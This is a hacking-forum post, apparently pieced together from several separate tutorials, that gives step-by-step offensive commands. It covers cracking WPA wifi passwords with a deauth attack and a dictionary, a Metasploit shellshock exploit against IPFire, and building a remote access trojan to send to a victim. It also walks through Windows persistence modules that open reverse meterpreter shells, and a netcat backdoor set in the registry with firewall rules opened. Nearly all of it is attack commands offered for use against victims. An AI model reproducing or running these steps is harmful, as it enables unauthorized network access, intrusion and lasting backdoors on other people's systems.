Login

**NINZA** · 04-24-2020, 12:49 PM

0			0

This is the classical method of wireless password cracking .All the tools use this method in one way or other.

First start the monitor mode which will listen to all the wifi connections nearby with command:

airmon-ng start wlan0

In your lower right corner you will see written. monitor mode enabled for [phy1]wlan0mon

Now run the following command to confirm that our wifi adaptor is in monitor mode, so run command:

ifconfig

which will show you the wifi adaptor as wlan0mon meaning adaptor is in monitor mode.

Now run command:

airodump-ng wlan0mon

The above command will start listening to all the available wifi connections.

Now when your target appeas hit ctrl^c and then to capture the handshake type command:

airodump-ng -c 7 –bssid C8:XX:35:XX:FD:F0 –write 1 wlan0mon

Here,

-c is the channel no. of the AP which will be listed in CH column in the output of above command as in my case it is 7.

–bssid is the MAC address of the target AP as in my case it is rajlab and bssid is C8:3A:XX:44:XX:F0

–write is the capture file in which the capture packets will be saved as in my case i have named it as 1 .

Option
Description
-c
The channel for the wireless network
–bssid
The MAC address of the access point
-w
The file name prefix for the file which will contain authentication handshake
mon0
The wireless interface
[Image: 2.png?w=687&ssl=1]

Now start the deauth attack to disconnect all the connected clients to that AP which will help in capturing the handshake with command:

aireplay-ng -0 100 –a XX:3A:35:XX:FD:F0 -e rajlab wlan0mon

Here,

-0 is used for deauth attack

100 is no. of deauth packets to be sent

-a is the target AP MAC address

-e is ESSID of the target AP i.e. name of the target AP

After launching the deauth attack we will get the WPA handshake in the previous terminal window in the top right corner then hit ctrl^c.

Now we have to crack the password with aircrack-ng so type command :
aircrack-ng 1-01.cap –w /usr/share/nmap/nselib/data/passwords.lst
Here,
1-01.cap is the capture file we generated in the airodump-ng .
-w is the dictionary to be used to perform dictionary attack
In my case the key is found as KEY FOUND! [raj123987]
[Image: 6.png?w=687&ssl=1]

IPFire, a free linux based open source firewall distribution, version <= 2.15 Update Core 82 contains an authenticated remote command execution vulnerability via shellshock in the request header

Exploit Targets

Ip Fire 2.15

Requirement

Attacker: kali Linux

Victim PC: Linux

Open Kali terminal type msfconsole

Now type use exploit/linux/http/ipfire_bashbug_exec
msf exploit (ipfire_bashbug_exec)>set rhost 192.168.0.176
msf exploit (ipfire_bashbug_exec)>set username admin
msf exploit (ipfire_bashbug_exec)>set password admin
msf exploit (ipfire_bashbug_exec)>set payload cmd/unix/generic
msf exploit (ipfire_bashbug_exec)>set cmd uname -a
msf exploit (ipfire_bashbug_exec)>exploit
[Image: 2.png?w=687&ssl=1]

HTTP RAT is a kind of Remote Access Trojan which utilizes web interfaces and port 80 to gain access. It can be understood simply as an HTTP Tunnel, except it works in the reverse direction. These Trojans are comparatively more dangerous as these work on the web and thus work almost everywhere where you can find internet.

Here, we would be working with HTTP RAT backdoor web server by a zombie

To download the above from internet and extract the tool. It would something like as shown in the pic below

Double click on the folder and click on the icon with httprat written next to it. Something like this pic pops up on the screen.

Click on create. This is what should pop out on screen.
[Image: 3.png?w=687&ssl=1]

An icon less application with httpserver must be created as in this pic:
[Image: 4.png?w=687&ssl=1]

Send this file to the victim via pen drive or any other means. Once the victim double clicks on the application, it will automatically send a connection back to you. You just need to type the victim’s IP address on the browser. This is what will come on the screen

First take the meterpreter shell from any known exploit and bypass UAC for better results .Then run command:
Persistence
run persistence –X –i 10 –p 443 –r 192.168.0.105
-X=connect back when the system boots
-i 10=try to connect back every 10 seconds
-p 443=reverse connection port
-r ip=reverse connection ip
After successfully executing the script, reboot the system and then use exploit:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 443
set lhost 192.168.0.105
exploit
[Image: 1.png?w=687&ssl=1]

s4u_persistence

Creates a scheduled task that will run using service-for-user (S4U). This allows the scheduled task to run even as an unprivileged user that is not logged into the device. This will result in lower security context, allowing access to local resources only. The module requires ‘Logon as a batch job’ permissions (SeBatchLogonRight)

Now type use exploit/windows/local/s4u_persistence

msf exploit (s4u_persistence)>set payload windows/meterpreter/reverse_tcp

msf exploit (s4u_persistence)>set lhost 192.168.0.137 (IP address of kali Linux)

msf exploit (s4u_persistence)>set lport 443

msf exploit (s4u_persistence)>set trigger logon

msf exploit (s4u_persistence)>set session 2

msf exploit (s4u_persistence)>exploit

Now after successful backdoor creation, restart the victim pc you can see the previous meterpreter session is closed and then run command:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.137

exploit

VSS_PERSISTENCE

This module will attempt to create a persistent payload in a new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine.

First take the meterpreter shell and bypass UAC by any known technique and then background the session .Then run series of commands:

Now type use exploit/windows/local/vss_persistence

msf exploit (vss_persistence)>set runkey true

msf exploit (vss_persistence)>set schtask true

msf exploit (vss_persistence)>set rhost 192.168.222.137

msf exploit vss_persistence)>set session 2

msf exploit (vss_persistence)>exploit

Now run exploit which will create a backdoor and will give a meterpreter session.

Now background it and use the multi handler and also set the payload with commands:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.222.135

set lport 4444

exploit

Now restart the victim system and the meterpreter session will die, and then run: exploit after restarting the system it will give a reverse meterpreter shell.

REGISTRY PERSISTENCE

This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in “CurrentVersion\Run” (depending on privilege and selected method). The payload will be installed completely in registry

First background the meterpreter session and then run commands:

Now type use exploit/windows/local/registry_persistence

msf exploit (registry_persistence)>set payload windows/meterpreter/reverse_tcp

msf exploit (registry_persistence)>set lhost 192.168.222.135 (IP address of kali Linux)

msf exploit (registry_persistence)>set lport 4545

msf exploit (registry_persistence)>set startup system

msf exploit (registry_persistence)>set session 1

msf exploit (registry_persistence)>exploit

Now set up your system for reverse connection. Run the following commands on your msfconsole:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.222.135

set lport 4545

exploit

Now restart the victim pc and your previous meterpreter session will die, so now run the exploit: After restarting you will get the reverse meterpreter shell as you can see in my case

NETCAT

Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.

After getting the meterpreter shell and bypassing UAC run the following command:

upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32

Now set the registry value with the following command:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d ‘C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe’
[Image: 8.png?w=687&ssl=1]

Now get the command shell with command:
Shell and then bypass the firewall on the victim system by adding firewall rules with shell command:
netsh advfirewall firewall add rule name=’netcat’ dir=in action=allow protocol=Tcp localport=4445
[Image: 9.png?w=687&ssl=1]

Now check whether the rules are added successfully with the command:
netsh firewall show portopening
As you can see the the firewall rule netcat is added successfully.
[Image: 10.png?w=687&ssl=1]

Now after restarting of the victim system , run the following command on the terminal:

nc -nv 192.168.0.101 4445

Here 192.168.0.101 is the victim system you previously created backdoor and 4445 is the port you gave while setting the registry value.

After successful running the command you will get the command shell.

[Image: 11.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis